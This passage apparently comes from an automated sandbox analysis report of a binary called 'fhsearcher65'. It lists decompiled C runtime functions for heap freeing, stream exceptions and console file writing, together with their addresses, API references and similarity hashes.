0x1000bbcd
0x1000bbdb
0x1000bbe9
0x1000bbf4
0x1000bbff
0x1000bc0a
0x00000000
0x1000bc1a
0x1000bc1f

APIs

Part of subcall function 1000BB04: _free.LIBCMT ref: 1000BB29

_free.LIBCMT ref: 1000BB8A

Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729

_free.LIBCMT ref: 1000BB95
_free.LIBCMT ref: 1000BBA0
_free.LIBCMT ref: 1000BBF4
_free.LIBCMT ref: 1000BBFF
_free.LIBCMT ref: 1000BC0A
_free.LIBCMT ref: 1000BC15

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a7358a4db6e1da6d63c69c07c6b5017a17c7ec25ee6c44925f82e9684ad80130
Instruction ID: 50d7879656c57a25cf13df4160670f294727ae21723d392f61a5f7ff99cca00a
Opcode Fuzzy Hash: a7358a4db6e1da6d63c69c07c6b5017a17c7ec25ee6c44925f82e9684ad80130
Instruction Fuzzy Hash: D2112C75550B04EAEA20FBB0CC46FDB77ADEF00780F900815B2ADA616EDBA5B504CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00404360 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00404360(void* __ebx, void* __ecx, signed int _a4, char _a8) {
				char _v24;
				char _v32;
				intOrPtr _v48;
				signed int _t20;
				void* _t22;
				void* _t32;
				signed char _t35;
				intOrPtr* _t37;
				char* _t40;
				intOrPtr* _t42;
				intOrPtr _t45;

				_t32 = __ebx;
				_t20 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t20;
				_t35 =  *(__ecx + 0x10) & _t20;
				if(_t35 == 0) {
					return _t20;
				} else {
					if(_a8 != 0) {
						E004107FB(0, 0);
					}
					if((_t35 & 0x00000004) == 0) {
						_t40 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
					} else {
						_t40 = "ios_base::badbit set";
					}
					_t22 = E00403B30( &_v32);
					_t37 =  &_v24;
					L00404280(_t32, _t37, _t40, _t22);
					E004107FB( &_v32, 0x43c0d0);
					asm("int3");
					_t45 = _v48;
					asm("xorps xmm0, xmm0");
					_t42 = _t37;
					 *_t42 = 0x42e2d4;
					asm("movq [eax], xmm0");
					_t14 = _t45 + 4; // 0x43c0d4
					E00410321(_t14, _t42 + 4);
					 *_t42 = 0x439c98;
					_t15 = _t45 + 0xc; // 0x43c0e0
					_t16 = _t45 + 0x10; // 0x5
					 *((intOrPtr*)(_t42 + 0xc)) =  *_t15;
					 *((intOrPtr*)(_t42 + 0x10)) =  *_t16;
					 *_t42 = 0x439d10;
					return _t42;
				}
			}

0x00404360
0x0040436c
0x0040436f
0x00404375
0x00404377
0x00404384
0x00404379
0x0040437d
0x0040438b
0x0040438b
0x00404393
0x004043a9
0x00404395
0x00404395
0x00404395
0x004043b0
0x004043b7
0x004043bb
0x004043ca
0x004043cf
0x004043d4
0x004043d7
0x004043db
0x004043e1
0x004043e7
0x004043eb
0x004043ef
0x004043f4
0x004043fd
0x00404400
0x00404403
0x00404408
0x0040440b
0x00404414
0x00404414

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004043EF

Part of subcall function 004107FB: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,0040E3E5,?,0043B7C0,?), ref: 0041085B

Strings

ios_base::badbit set, xrefs: 00404395
`=@, xrefs: 00404338, 0040440B
ios_base::eofbit set, xrefs: 004043A4
`=@, xrefs: 004043F4
ios_base::failbit set, xrefs: 0040439F

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: `=@$`=@$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-2436082744
Opcode ID: 1b3b8ecc31328fb55672af6debbe82cc5cc0ff1a7476ba3a2f046bcc1459ab38
Instruction ID: ec50b84040f2de78c35e1ef0a71c0b7547ede088c81fac8c0d76ade1ed0a7f06
Opcode Fuzzy Hash: 1b3b8ecc31328fb55672af6debbe82cc5cc0ff1a7476ba3a2f046bcc1459ab38
Instruction Fuzzy Hash: A311E4B16003045BC704EF99D802B96B3E8AF94310F10D52FFA6597681E7B8EC50CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00420B6B Relevance: 9.3, APIs: 6, Instructions: 317
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E00420B6B(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				signed char _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v51;
				void _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				long _v100;
				signed char* _v104;
				signed char* _v108;
				void* _v112;
				intOrPtr _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t170;
				signed int _t172;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				signed char* _t202;
				void* _t206;
				struct _OVERLAPPED* _t211;
				void* _t220;
				long _t224;
				intOrPtr _t225;
				char _t227;
				void* _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t248;
				signed int _t249;
				signed int _t251;
				intOrPtr _t253;
				void* _t259;
				intOrPtr _t260;
				signed int _t261;
				signed char _t264;
				intOrPtr _t267;
				signed char* _t269;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				signed int _t278;
				intOrPtr _t279;
				signed int _t280;
				struct _OVERLAPPED* _t282;
				struct _OVERLAPPED* _t284;
				signed int _t285;
				void* _t286;
				void* _t287;

				_t170 =  *0x43d054; // 0xd71f2cec
				_v8 = _t170 ^ _t285;
				_t172 = _a8;
				_t264 = _t172 >> 6;
				_t242 = (_t172 & 0x0000003f) * 0x38;
				_t269 = _a12;
				_v108 = _t269;
				_v80 = _t264;
				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x18));
				_v44 = _t242;
				_v96 = _a16 + _t269;
				_t178 = GetConsoleOutputCP();
				_t241 = 0;
				_v124 = _t178;
				E004139D1( &_v72, _t264, 0);
				_t273 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_t245 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t245;
				_v104 = _t269;
				if(_t269 >= _v96) {
					L48:
					__eflags = _v60 - _t241;
				} else {
					while(1) {
						_t248 = _v44;
						_v51 =  *_t269;
						_v76 = _t241;
						_v40 = 1;
						_t186 =  *((intOrPtr*)(0x4508e0 + _v80 * 4));
						_v48 = _t186;
						if(_t245 != 0xfde9) {
							goto L19;
						}
						_t211 = _t241;
						_t267 = _v48 + 0x2e + _t248;
						_v116 = _t267;
						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
							_t211 =  &(_t211->Internal);
							if(_t211 < 5) {
								continue;
							}
							break;
						}
						_t264 = _v96 - _t269;
						_v40 = _t211;
						if(_t211 <= 0) {
							_t72 = ( *_t269 & 0x000000ff) + 0x43d298; // 0x0
							_t253 =  *_t72 + 1;
							_v48 = _t253;
							__eflags = _t253 - _t264;
							if(_t253 > _t264) {
								__eflags = _t264;
								if(_t264 <= 0) {
									goto L40;
								} else {
									_t278 = _v44;
									do {
										 *((char*)( *((intOrPtr*)(0x4508e0 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
										_t241 =  &(_t241->Internal);
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									goto L39;
								}
							} else {
								_v144 = _t241;
								__eflags = _t253 - 4;
								_v140 = _t241;
								_v56 = _t269;
								_v40 = (_t253 == 4) + 1;
								_t220 = E004202E0( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
								_t287 = _t286 + 0x10;
								__eflags = _t220 - 0xffffffff;
								if(_t220 == 0xffffffff) {
									goto L48;
								} else {
									_t279 = _v48;
									goto L18;
								}
							}
						} else {
							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x43d298)) + 1;
							_v56 = _t224;
							_t225 = _t224 - _v40;
							_v48 = _t225;
							if(_t225 > _t264) {
								__eflags = _t264;
								if(_t264 > 0) {
									_t280 = _t248;
									do {
										_t227 =  *((intOrPtr*)(_t241 + _t269));
										_t259 =  *((intOrPtr*)(0x4508e0 + _v80 * 4)) + _t280 + _t241;
										_t241 =  &(_t241->Internal);
										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
										_t280 = _v44;
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									L39:
									_t273 = _v88;
								}
								L40:
								_t277 = _t273 + _t264;
								__eflags = _t277;
								L41:
								__eflags = _v60;
								_v88 = _t277;
							} else {
								_t264 = _v40;
								_t282 = _t241;
								_t260 = _v116;
								do {
									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
									_t282 =  &(_t282->Internal);
								} while (_t282 < _t264);
								_t283 = _v48;
								_t261 = _v44;
								if(_v48 > 0) {
									E00410870( &_v16 + _t264, _t269, _t283);
									_t261 = _v44;
									_t286 = _t286 + 0xc;
									_t264 = _v40;
								}
								_t272 = _v80;
								_t284 = _t241;
								do {
									 *( *((intOrPtr*)(0x4508e0 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
									_t284 =  &(_t284->Internal);
								} while (_t284 < _t264);
								_t269 = _v104;
								_t279 = _v48;
								_v120 =  &_v16;
								_v136 = _t241;
								_v132 = _t241;
								_v40 = (_v56 == 4) + 1;
								_t237 = E004202E0( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
								_t287 = _t286 + 0x10;
								if(_t237 == 0xffffffff) {
									goto L48;
								} else {
									L18:
									_t269 = _t269 - 1 + _t279;
									L27:
									_t269 =  &(_t269[1]);
									_v104 = _t269;
									_t193 = E00420444(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
									_t286 = _t287 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L48;
									} else {
										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
											L47:
											_v92 = GetLastError();
											goto L48;
										} else {
											_t273 = _v84 - _v108 + _t269;
											_v88 = _t273;
											if(_v100 < _v56) {
												goto L48;
											} else {
												if(_v51 != 0xa) {
													L34:
													if(_t269 >= _v96) {
														goto L48;
													} else {
														_t245 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v52 = _t198;
													if(WriteFile(_v112,  &_v52, 1,  &_v100, _t241) == 0) {
														goto L47;
													} else {
														if(_v100 < 1) {
															goto L48;
														} else {
															_v84 = _v84 + 1;
															_t273 = _t273 + 1;
															_v88 = _t273;
															goto L34;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L49;
						L19:
						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t269;
							_t188 = E00419267(_t264);
							_t249 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
								_push(1);
								_push(_t269);
								goto L26;
							} else {
								_t100 =  &(_t269[1]); // 0x1
								_t202 = _t100;
								_v56 = _t202;
								__eflags = _t202 - _v96;
								if(_t202 >= _v96) {
									_t264 = _v80;
									_t251 = _v44;
									_t241 = _v33;
									 *((char*)(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2e)) = _v33;
									 *(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2d) | 0x00000004;
									_t277 = _t273 + 1;
									goto L41;
								} else {
									_t206 = E0041F26F( &_v76, _t269, 2);
									_t287 = _t286 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L48;
									} else {
										_t269 = _v56;
										goto L27;
									}
								}
							}
						} else {
							_t264 = _t264 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
							_v23 =  *_t269;
							_push(2);
							 *(_t248 + _v48 + 0x2d) = _t264;
							_push( &_v24);
							L26:
							_push( &_v76);
							_t190 = E0041F26F();
							_t287 = _t286 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L48;
							} else {
								goto L27;
							}
						}
						goto L49;
					}
				}
				L49:
				if(__eflags != 0) {
					_t183 = _v72;
					_t165 = _t183 + 0x350;
					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t165;
				}
				__eflags = _v8 ^ _t285;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E0040EF6F(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
			}

0x00420b76
0x00420b7d
0x00420b80
0x00420b88
0x00420b8b
0x00420b98
0x00420b9b
0x00420b9e
0x00420ba5
0x00420bad
0x00420bb0
0x00420bb3
0x00420bb9
0x00420bbb
0x00420bc2
0x00420bcc
0x00420bce
0x00420bd1
0x00420bd4
0x00420bd7
0x00420bda
0x00420bdd
0x00420be3
0x00420eee
0x00420eee
0x00000000
0x00420be9
0x00420bf1
0x00420bf4
0x00420bfa
0x00420bfd
0x00420c04
0x00420c0b
0x00420c0e
0x00000000
0x00000000
0x00420c17
0x00420c1c
0x00420c1e
0x00420c21
0x00420c26
0x00420c2a
0x00000000
0x00000000
0x00000000
0x00420c2a
0x00420c2f
0x00420c31
0x00420c36
0x00420cf0
0x00420cf7
0x00420cf8
0x00420cfb
0x00420cfd
0x00420ea1
0x00420ea3
0x00000000
0x00420ea5
0x00420ea5
0x00420ea8
0x00420eb7
0x00420ebb
0x00420ebc
0x00420ebc
0x00000000
0x00420ec0
0x00420d03
0x00420d05
0x00420d0b
0x00420d0e
0x00420d1a
0x00420d23
0x00420d2e
0x00420d33
0x00420d36
0x00420d39
0x00000000
0x00420d3f
0x00420d3f
0x00000000
0x00420d3f
0x00420d39
0x00420c3c
0x00420c4b
0x00420c4c
0x00420c4f
0x00420c52
0x00420c57
0x00420e6d
0x00420e6f
0x00420e71
0x00420e73
0x00420e7d
0x00420e85
0x00420e87
0x00420e88
0x00420e8c
0x00420e8f
0x00420e8f
0x00420e93
0x00420e93
0x00420e93
0x00420e96
0x00420e96
0x00420e96
0x00420e98
0x00420e98
0x00420e9c
0x00420c5d
0x00420c5d
0x00420c60
0x00420c62
0x00420c65
0x00420c68
0x00420c6c
0x00420c6d
0x00420c71
0x00420c74
0x00420c79
0x00420c83
0x00420c88
0x00420c8b
0x00420c8e
0x00420c8e
0x00420c91
0x00420c94
0x00420c96
0x00420c9f
0x00420ca3
0x00420ca4
0x00420ca8
0x00420cae
0x00420cb7
0x00420cc4
0x00420ccb
0x00420ccf
0x00420cda
0x00420cdf
0x00420ce5
0x00000000
0x00420ceb
0x00420d42
0x00420d43
0x00420dc6
0x00420dcd
0x00420dd5
0x00420ddd
0x00420de2
0x00420de5
0x00420dea
0x00000000
0x00420df0
0x00420e05
0x00420ee5
0x00420eeb
0x00000000
0x00420e0b
0x00420e14
0x00420e16
0x00420e1c
0x00000000
0x00420e22
0x00420e26
0x00420e5c
0x00420e5f
0x00000000
0x00420e65
0x00420e65
0x00000000
0x00420e65
0x00420e28
0x00420e2a
0x00420e2c
0x00420e45
0x00000000
0x00420e4b
0x00420e4f
0x00000000
0x00420e55
0x00420e55
0x00420e58
0x00420e59
0x00000000
0x00420e59
0x00420e4f
0x00420e45
0x00420e26
0x00420e1c
0x00420e05
0x00420dea
0x00420ce5
0x00420c57
0x00000000
0x00420d47
0x00420d47
0x00420d4b
0x00420d4e
0x00420d70
0x00420d73
0x00420d78
0x00420d7c
0x00420d80
0x00420dae
0x00420db0
0x00000000
0x00420d82
0x00420d82
0x00420d82
0x00420d85
0x00420d88
0x00420d8b
0x00420ec2
0x00420ec5
0x00420ec8
0x00420ed2
0x00420edd
0x00420ee2
0x00000000
0x00420d91
0x00420d98
0x00420d9d
0x00420da0
0x00420da3
0x00000000
0x00420da9
0x00420da9
0x00000000
0x00420da9
0x00420da3
0x00420d8b
0x00420d50
0x00420d54
0x00420d57
0x00420d5c
0x00420d62
0x00420d64
0x00420d6b
0x00420db1
0x00420db4
0x00420db5
0x00420dba
0x00420dbd
0x00420dc0
0x00000000
0x00000000
0x00000000
0x00000000
0x00420dc0
0x00000000
0x00420d4e
0x00420be9
0x00420ef1
0x00420ef1
0x00420ef3
0x00420ef6
0x00420ef6
0x00420ef6
0x00420ef6
0x00420f08
0x00420f0a
0x00420f0b
0x00420f0c
0x00420f16

APIs

GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 00420BB3
__fassign.LIBCMT ref: 00420D98
__fassign.LIBCMT ref: 00420DB5
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00420DFD
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00420E3D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00420EE5

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 9b6cb449299397a89ac131f3107bbb70fce8cebad7b8f729f019d23983e59aa5
Instruction ID: 1222e6d8e2596f359fda3abf03660830b5e9d2f74f7c17c6b1d270f1fc4a7ee0
Opcode Fuzzy Hash: 9b6cb449299397a89ac131f3107bbb70fce8cebad7b8f729f019d23983e59aa5
Instruction Fuzzy Hash: 38C18E75E002688FCB14CFA9D8809EDBBF5AF08314F68456AE855F7342D6359982CF68

Uniqueness

Uniqueness Score: -1.00%

Function 1000C0D4 Relevance: 9.3, APIs: 6, Instructions: 317
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E1000C0D4(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				signed char _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v51;
				void _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				long _v100;
				signed char* _v104;
				signed char* _v108;
				void* _v112;
				intOrPtr _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t170;
				signed int _t172;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				signed char* _t202;
				void* _t206;
				struct _OVERLAPPED* _t211;
				void* _t220;
				long _t224;
				intOrPtr _t225;
				char _t227;
				void* _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t248;
				signed int _t249;
				signed int _t251;
				intOrPtr _t253;
				void* _t259;
				intOrPtr _t260;
				signed int _t261;
				signed char _t264;
				intOrPtr _t267;
				signed char* _t269;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				signed int _t278;
				intOrPtr _t279;
				signed int _t280;
				struct _OVERLAPPED* _t282;
				struct _OVERLAPPED* _t284;
				signed int _t285;
				void* _t286;
				void* _t287;

				_t170 =  *0x10017004; // 0xdfd3a356
				_v8 = _t170 ^ _t285;
				_t172 = _a8;
				_t264 = _t172 >> 6;
				_t242 = (_t172 & 0x0000003f) * 0x38;
				_t269 = _a12;
				_v108 = _t269;
				_v80 = _t264;
				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x18));
				_v44 = _t242;
				_v96 = _a16 + _t269;
				_t178 = GetConsoleOutputCP();
				_t241 = 0;
				_v124 = _t178;
				E100065BE( &_v72, _t264, 0);
				_t273 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_t245 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t245;
				_v104 = _t269;
				if(_t269 >= _v96) {
					L48:
					__eflags = _v60 - _t241;
				} else {
					while(1) {
						_t248 = _v44;
						_v51 =  *_t269;
						_v76 = _t241;
						_v40 = 1;
						_t186 =  *((intOrPtr*)(0x10018110 + _v80 * 4));
						_v48 = _t186;
						if(_t245 != 0xfde9) {
							goto L19;
						}
						_t211 = _t241;
						_t267 = _v48 + 0x2e + _t248;
						_v116 = _t267;
						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
							_t211 =  &(_t211->Internal);
							if(_t211 < 5) {
								continue;
							}
							break;
						}
						_t264 = _v96 - _t269;
						_v40 = _t211;
						if(_t211 <= 0) {
							_t72 = ( *_t269 & 0x000000ff) + 0x10017750; // 0x0
							_t253 =  *_t72 + 1;
							_v48 = _t253;
							__eflags = _t253 - _t264;
							if(_t253 > _t264) {
								__eflags = _t264;
								if(_t264 <= 0) {
									goto L40;
								} else {
									_t278 = _v44;
									do {
										 *((char*)( *((intOrPtr*)(0x10018110 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
										_t241 =  &(_t241->Internal);
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									goto L39;
								}
							} else {
								_v144 = _t241;
								__eflags = _t253 - 4;
								_v140 = _t241;
								_v56 = _t269;
								_v40 = (_t253 == 4) + 1;
								_t220 = E1000B82D( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
								_t287 = _t286 + 0x10;
								__eflags = _t220 - 0xffffffff;
								if(_t220 == 0xffffffff) {
									goto L48;
								} else {
									_t279 = _v48;
									goto L18;
								}
							}
						} else {
							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x10017750)) + 1;
							_v56 = _t224;
							_t225 = _t224 - _v40;
							_v48 = _t225;
							if(_t225 > _t264) {
								__eflags = _t264;
								if(_t264 > 0) {
									_t280 = _t248;
									do {
										_t227 =  *((intOrPtr*)(_t241 + _t269));
										_t259 =  *((intOrPtr*)(0x10018110 + _v80 * 4)) + _t280 + _t241;
										_t241 =  &(_t241->Internal);
										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
										_t280 = _v44;
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									L39:
									_t273 = _v88;
								}
								L40:
								_t277 = _t273 + _t264;
								__eflags = _t277;
								L41:
								__eflags = _v60;
								_v88 = _t277;
							} else {
								_t264 = _v40;
								_t282 = _t241;
								_t260 = _v116;
								do {
									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
									_t282 =  &(_t282->Internal);
								} while (_t282 < _t264);
								_t283 = _v48;
								_t261 = _v44;
								if(_v48 > 0) {
									E10005BC0( &_v16 + _t264, _t269, _t283);
									_t261 = _v44;
									_t286 = _t286 + 0xc;
									_t264 = _v40;
								}
								_t272 = _v80;
								_t284 = _t241;
								do {
									 *( *((intOrPtr*)(0x10018110 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
									_t284 =  &(_t284->Internal);
								} while (_t284 < _t264);
								_t269 = _v104;
								_t279 = _v48;
								_v120 =  &_v16;
								_v136 = _t241;
								_v132 = _t241;
								_v40 = (_v56 == 4) + 1;
								_t237 = E1000B82D( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
								_t287 = _t286 + 0x10;
								if(_t237 == 0xffffffff) {
									goto L48;
								} else {
									L18:
									_t269 = _t269 - 1 + _t279;
									L27:
									_t269 =  &(_t269[1]);
									_v104 = _t269;
									_t193 = E1000A4B8(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
									_t286 = _t287 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L48;
									} else {
										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
											L47:
											_v92 = GetLastError();
											goto L48;
										} else {
											_t273 = _v84 - _v108 + _t269;
											_v88 = _t273;
											if(_v100 < _v56) {
												goto L48;
											} else {
												if(_v51 != 0xa) {
													L34:
													if(_t269 >= _v96) {
														goto L48;
													} else {
														_t245 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v52 = _t198;
													if(WriteFile(_v112,  &_v52, 1,  &_v100, _t241) == 0) {
														goto L47;
													} else {
														if(_v100 < 1) {
															goto L48;
														} else {
															_v84 = _v84 + 1;
															_t273 = _t273 + 1;
															_v88 = _t273;
															goto L34;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L49;
						L19:
						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t269;
							_t188 = E1000AE12(_t264);
							_t249 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
								_push(1);
								_push(_t269);
								goto L26;
							} else {
								_t100 =  &(_t269[1]); // 0x1
								_t202 = _t100;
								_v56 = _t202;
								__eflags = _t202 - _v96;
								if(_t202 >= _v96) {
									_t264 = _v80;
									_t251 = _v44;
									_t241 = _v33;
									 *((char*)(_t251 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x2e)) = _v33;
									 *(_t251 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x2d) | 0x00000004;
									_t277 = _t273 + 1;
									goto L41;
								} else {
									_t206 = E100088CB( &_v76, _t269, 2);
									_t287 = _t286 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L48;
									} else {
										_t269 = _v56;
										goto L27;
									}
								}
							}
						} else {
							_t264 = _t264 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
							_v23 =  *_t269;
							_push(2);
							 *(_t248 + _v48 + 0x2d) = _t264;
							_push( &_v24);
							L26:
							_push( &_v76);
							_t190 = E100088CB();
							_t287 = _t286 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L48;
							} else {
								goto L27;
							}
						}
						goto L49;
					}
				}
				L49:
				if(__eflags != 0) {
					_t183 = _v72;
					_t165 = _t183 + 0x350;
					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t165;
				}
				__eflags = _v8 ^ _t285;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E100031FF(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
			}

0x1000c0df
0x1000c0e6
0x1000c0e9
0x1000c0f1
0x1000c0f4
0x1000c101
0x1000c104
0x1000c107
0x1000c10e
0x1000c116
0x1000c119
0x1000c11c
0x1000c122
0x1000c124
0x1000c12b
0x1000c135
0x1000c137
0x1000c13a
0x1000c13d
0x1000c140
0x1000c143
0x1000c146
0x1000c14c
0x1000c457
0x1000c457
0x00000000
0x1000c152
0x1000c15a
0x1000c15d
0x1000c163
0x1000c166
0x1000c16d
0x1000c174
0x1000c177
0x00000000
0x00000000
0x1000c180
0x1000c185
0x1000c187
0x1000c18a
0x1000c18f
0x1000c193
0x00000000
0x00000000
0x00000000
0x1000c193
0x1000c198
0x1000c19a
0x1000c19f
0x1000c259
0x1000c260
0x1000c261
0x1000c264
0x1000c266
0x1000c40a
0x1000c40c
0x00000000
0x1000c40e
0x1000c40e
0x1000c411
0x1000c420
0x1000c424
0x1000c425
0x1000c425
0x00000000
0x1000c429
0x1000c26c
0x1000c26e
0x1000c274
0x1000c277
0x1000c283
0x1000c28c
0x1000c297
0x1000c29c
0x1000c29f
0x1000c2a2
